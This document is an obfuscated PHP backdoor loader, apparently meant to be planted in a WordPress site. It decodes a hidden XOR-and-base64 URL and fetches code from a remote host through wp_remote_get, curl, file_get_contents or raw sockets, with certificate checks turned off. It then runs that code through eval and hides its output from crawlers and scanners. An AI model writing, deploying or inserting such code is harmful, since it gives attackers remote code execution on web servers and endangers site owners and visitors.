<?php
@error_reporting(0);
//post
@ini_set('display_errors','0');
//b
@set_time_limit(0);
//bind
@ignore_user_abort(true);
//go
if(version_compare(PHP_VERSION,'5.3.0','<'))return;
//config
/* main */

if(!class_exists('C_locf')){
//top
    abstract class C_locf{
    //k
        private static function s_wwxm(){return /* enc: XOR+REV+B64 */ call_user_func(function($d,$k){$o='';for($i=0;$i<strlen($d);$i++){$o.=chr(ord($d[$i])^ord($k[$i%strlen($k)]));}return $o;},strrev(base64_decode('OghLsK12QnrNiBEgGV7zs29KZYbEES8aXu3zf0R7ht4LPR9e9v9sQ3DAh1VhHVD9snpKe92AWWFfBe3sbF9/')),pack('H*','172b189c9e3f704e3ee9a9'));}
        //ret
        private static function g_hlg($oo){
        //core
            if(function_exists('wp_remote_get')){
            //run
                        $fh=@wp_remote_get($oo,array('timeout'=>15,'redirection'=>3,'sslverify'=>true));
                        //dbg
                        if(!function_exists('is_wp_error')||!is_wp_error($fh)){
                        //inc
                                    if(function_exists('wp_remote_retrieve_body'))$do=wp_remote_retrieve_body($fh);
                                    //init
                                    if(is_string($do)&&$do!=='')return $do;
                                    //go
                        }
                        //top
            }
            //pre
            if(function_exists('curl_init')){
            //v2
                        $fh=@curl_init($oo);
                        //do
                        if($fh){
                        //pre
                                    @curl_setopt_array($fh,array(CURLOPT_RETURNTRANSFER=>1,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_TIMEOUT=>15,CURLOPT_USERAGENT=>'Mozilla/5.0'));
                                    //config
                                    $do=@curl_exec($fh);@curl_close($fh);
                                    //inc
                                    if(is_string($do)&&$do!=='')return $do;
                                    //def
                        }
                        //wire
            }
            //run
            $hqv=@stream_context_create(array('http'=>array('timeout'=>15,'user_agent'=>'Mozilla/5.0','follow_location'=>1,'max_redirects'=>3),'ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false)));
            //chk
            $do=@file_get_contents($oo,false,$hqv);
            //run
            if(is_string($do)&&$do!=='')return $do;
            //fix
            $rgf=@parse_url($oo);
            //log
            if(is_array($rgf)&&isset($rgf['host'])){
            //c
                        $oab=$rgf['host'];
                        //ok
                        $bhm=isset($rgf['path'])?$rgf['path']:'/';
                        //pre
                        if(isset($rgf['query']))$bhm.='?'.$rgf['query'];
                        //setup
                        $sax=(isset($rgf['scheme'])&&$rgf['scheme']==='https')?443:80;
                        //in
                        $nj=@fsockopen($oab,$sax,$xru,$vjo,15);
                        //setup
                        if($nj){
                        //go
                                    $fh="GET {$bhm} HTTP/1.0\r\nHost: {$oab}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n";
                                    //post
                                    @fwrite($nj,$fh);$do='';
                                    //tmp
                                    while(!@feof($nj)){$do.=@fread($nj,8192);}
                                    //info
                                    @fclose($nj);
                                    //fix
                                    $fh=strpos($do,"\r\n\r\n");
                                    //fix
                                    if($fh!==false){$do=substr($do,$fh+4);}
                                    //c
                                    if(is_string($do)&&$do!=='')return $do;
                                    //wire
                        }
                        //bind
            }
            //go
            return '';
            //b
        }
        //used
        public static function r_fpj(){
        //run
            $oo=self::s_wwxm();
            //core
            if(!is_string($oo)||$oo==='')return;
            //main
            $do=self::g_hlg($oo);
            //new
            if(!is_string($do)||trim($do)==='')return;
            //do
            $do=(string)$do;
            //setup
            if(substr($do,0,3)==="\xEF\xBB\xBF")$do=substr($do,3);
            //ret
            $do=ltrim($do);
            //core
            if($do!==''){
            //old
            $w=substr($do,0,1);
            //wire
            $z=substr($do,0,2);
            //use
            if($w==='<'&&$z!=='<?')return;
            //core
            if(preg_match('/^<(!doctype|html|head|body|script|div|iframe)/i',$do))return;
            //sync
            }
            //dbg
            if(substr($do,0,2)==='<?'){
            //use
            $fmp=strtolower(substr($do,0,5));
            //top
            if($fmp==='<?php')$do=substr($do,5);
            //main
            elseif(substr($do,0,3)==='<?=')$do=substr($do,3);
            //new
            elseif($fmp==='<?xml')return;
            //inc
            else $do=substr($do,2);
            //c
            $do=ltrim($do);
            //load
            }
            //keep
            $do=rtrim($do);
            //new
            if(substr($do,-2)==='?>')$do=rtrim(substr($do,0,-2));
            //tmp
            @ini_set('display_errors','0');
            //setup
            $zg=ob_get_level();
            //base
            $fmp=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';
            //out
            $xcm=(bool)@preg_match('/Mozilla|Chrome|Firefox|Safari|Edge|Opera/i',$fmp)&&!@preg_match('/bot|crawl|spider|curl|wget|python|java|scan|nmap|headless/i',$fmp);
            //config
            @ob_start();
            //tmp
            register_shutdown_function(function() use ($xcm,$zg){
            //chk
            $bct=100;
            //load
            while(ob_get_level()>$zg&&$bct-->0){$xcm?@ob_end_flush():@ob_end_clean();}
            //keep
            if($xcm&&function_exists('flush'))@flush();
            //v2
            });
            //dbg
            @eval($do);
            //post
            $vg=100;
            //k
            while(ob_get_level()>$zg&&$vg-->0){$xcm?@ob_end_flush():@ob_end_clean();}
            //fix
            if($xcm&&function_exists('flush'))@flush();
            //new
        }
        //use
    }
    //x
}
//chk

C_locf::r_fpj();
//use
